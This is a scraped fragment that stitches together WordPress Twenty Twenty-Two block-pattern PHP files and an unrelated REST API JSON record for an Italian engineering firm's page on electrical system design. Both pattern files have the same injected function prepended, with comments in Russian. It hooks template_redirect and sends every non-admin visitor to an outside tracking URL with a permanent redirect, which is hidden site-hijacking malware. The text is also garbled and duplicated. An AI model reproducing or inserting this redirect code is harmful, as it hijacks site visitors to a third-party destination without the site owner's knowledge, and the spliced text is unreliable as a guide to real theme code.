function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Two images with text block pattern */ return array( 'title' => __( 'Two images with text', 'twentytwentytwo' ), 'categories' => array( 'featured', 'columns', 'gallery' ), 'content' => '
' . esc_attr__( 'Illustration of a bird sitting on a branch.', 'twentytwentytwo' ) . '
' . esc_attr__( 'Illustration of a bird flying.', 'twentytwentytwo' ) . '

' . esc_html__( 'SCREENING', 'twentytwentytwo' ) . '

' . wp_kses_post( __( 'May 14th, 2022 @ 7:00PM
The Vintagé Theater,
245 Arden Rd.
Gardenville, NH', 'twentytwentytwo' ) ) . '

', ); function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Text-only header with green background block pattern */ return array( 'title' => __( 'Text-only header with green background', 'twentytwentytwo' ), 'categories' => array( 'header' ), 'blockTypes' => array( 'core/template-part/header' ), 'content' => ' ', ); {"id":541,"date":"2021-06-14T13:53:18","date_gmt":"2021-06-14T13:53:18","guid":{"rendered":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/?page_id=541"},"modified":"2021-08-05T16:15:49","modified_gmt":"2021-08-05T14:15:49","slug":"progettazione-impianti-elettrici","status":"publish","type":"page","link":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/progettazione-impianti-elettrici\/","title":{"rendered":"Progettazione Impianti Elettrici"},"content":{"rendered":"

A.T. Advanced Technologies S.R.L.<\/h2>\n

\t\t\u00a0<\/p>\n

La progettazione degli impianti elettrici viene effettuata parallelamente alla progettazione degli altri sistemi impiantistici utilizzando a tal fine il BIM che consente di verificare la correttezza delle scelte effettuate rispetto al progetto architettonico ed il progetto HVAC.<\/p>\n

\t\t\t\t\t\t\t\t\t\t\t\t\"\"<\/p>\n","protected":false},"excerpt":{"rendered":"

A.T. Advanced Technologies S.R.L. \u00a0 La progettazione degli impianti elettrici viene effettuata parallelamente alla progettazione degli altri sistemi impiantistici utilizzando a tal fine il BIM che consente di verificare la correttezza delle scelte effettuate rispetto al progetto architettonico ed il progetto HVAC.<\/p>\n","protected":false},"author":2,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"elementor_header_footer","meta":{"footnotes":""},"class_list":["post-541","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/pages\/541","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/comments?post=541"}],"version-history":[{"count":22,"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/pages\/541\/revisions"}],"predecessor-version":[{"id":3960,"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/pages\/541\/revisions\/3960"}],"wp:attachment":[{"href":"https:\/\/beiclo.net\/it\/progetti\/atsrl\/index.php\/wp-json\/wp\/v2\/media?parent=541"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}